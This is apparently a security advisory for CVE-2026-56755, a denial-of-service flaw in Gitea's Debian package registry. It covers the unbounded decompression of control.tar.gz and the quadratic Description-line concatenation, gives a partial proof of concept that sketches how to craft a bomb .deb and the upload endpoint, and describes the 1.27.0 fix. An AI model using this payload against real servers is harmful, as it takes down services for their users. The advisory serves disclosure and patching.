highCVE-2026-56755Jul 21, 2026

CVE-2026-56755: Gitea Debian Package Registry Denial of Service via Decompression Bomb and O(N^2) String Concatenation

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Uploading a crafted .deb file to Gitea's package registry causes the server to decompress up to 16 GB of data into memory and perform quadratic string work, crashing the process with a single authenti

Packagecode.gitea.io/gitea
Ecosystemgo
Affected< 1.27.0
Fixed in1.27.0

The problem

Gitea's Debian package parser decompresses control.tar.gz with no byte limit. DEFLATE ratios above 100:1 on repetitive input let an 83 MB upload expand to over 15 GB in memory before any validation runs, killing the server process via OOM.

A second bug compounds the damage independently: Description continuation lines are appended with += inside a loop. Because Go strings are immutable, every append copies the full accumulated string, producing O(N^2) total allocation. At 500,000 lines this generates roughly 250 GB of cumulative copy work, saturating a CPU core even on modest hardware.

Either bug alone can cause a full denial of service; together they are reliable with a single upload.

Proof of concept

A working proof-of-concept for CVE-2026-56755 in code.gitea.io/gitea, with the exact payload below.

go
// Build and run with the Docker wrapper in the advisory.
// Reproduces on commit 9155a81b9daf1d46b2380aa91271e623ac947c1e.
//
// Craft an 83 MB .deb whose control.tar.gz expands to ~15 GB on parse
// (decompression bomb), OR craft a Description with 500,000 continuation
// lines to trigger O(N^2) string concatenation (CPU exhaustion).
//
// The .deb ar-archive structure required:
//   debian-binary   -> "2.0\n"
//   control.tar.gz  -> tar containing ./control with 15 GB of repetitive lines
//   data.tar.gz     -> empty tar
//
// Minimal ./control that arms the bomb (unknown field "X" forces TeeReader
// to copy every byte into strings.Builder with no LimitReader guard):
const controlHeader = "Package: evil\n" +
    "Version: 1.0\n" +
    "Architecture: amd64\n" +
    "Maintainer: Evil Hacker <evil@evil.com>\n" +
    "Description: exploit\n"
// Pad to targetUncompressed (15 GB) with repetitive "X: a\n" lines.
// gzip BestSpeed compresses this to ~83 MB on disk.
//
// To arm the O(N^2) path instead, use a Description with N continuation
// lines (lines starting with a space):
//   Description: title\n
//    line1\n
//    line2\n
//    ... (500000 lines)
//
// HTTP upload to trigger parsing:
// PUT /api/packages/{owner}/debian/pool/{distribution}/{component}/upload
// Content-Type: application/octet-stream
// Authorization: Basic <valid-credentials>
// Body: <crafted .deb bytes>

The root cause for the bomb is the absence of io.LimitReader anywhere in the ParsePackage -> ParseControlFile call chain. A TeeReader mirrors every decompressed byte into an unbounded strings.Builder; because the decompressor itself is unlimited, a 15 GB logical file is fully buffered in heap before any field-level check can reject it.

Other registry parsers in the same codebase (pub, conan, cargo) all wrap their readers with io.LimitReader; the Debian parser did not.

The O(N^2) path is CWE-407 (Algorithmic Complexity): the line `description += "\n" + line` at metadata.go:161 allocates a brand-new backing array on every iteration and copies the entire accumulated string into it. The patch replaces both patterns: it wraps the decompressor with io.LimitReader(r, maxSize) and replaces the += loop with a strings.Builder and WriteString calls, reducing Description concatenation to O(N) total allocation.

The fix

Upgrade to Gitea 1.27.0 (commits de4b8277e9cb576f2315fb03b5ab6478b42a1d31 and f69e15afe7496cc62e96dab244629c69eb31a7bf, PRs #38406 and #38426). The patch adds io.LimitReader on the decompressed control.tar.gz stream and rewrites the Description-field accumulator to use strings.Builder, eliminating both the decompression bomb and the quadratic allocation.

Reported by AdamKorcz.

References: [1][2][3][4][5][6]

Related research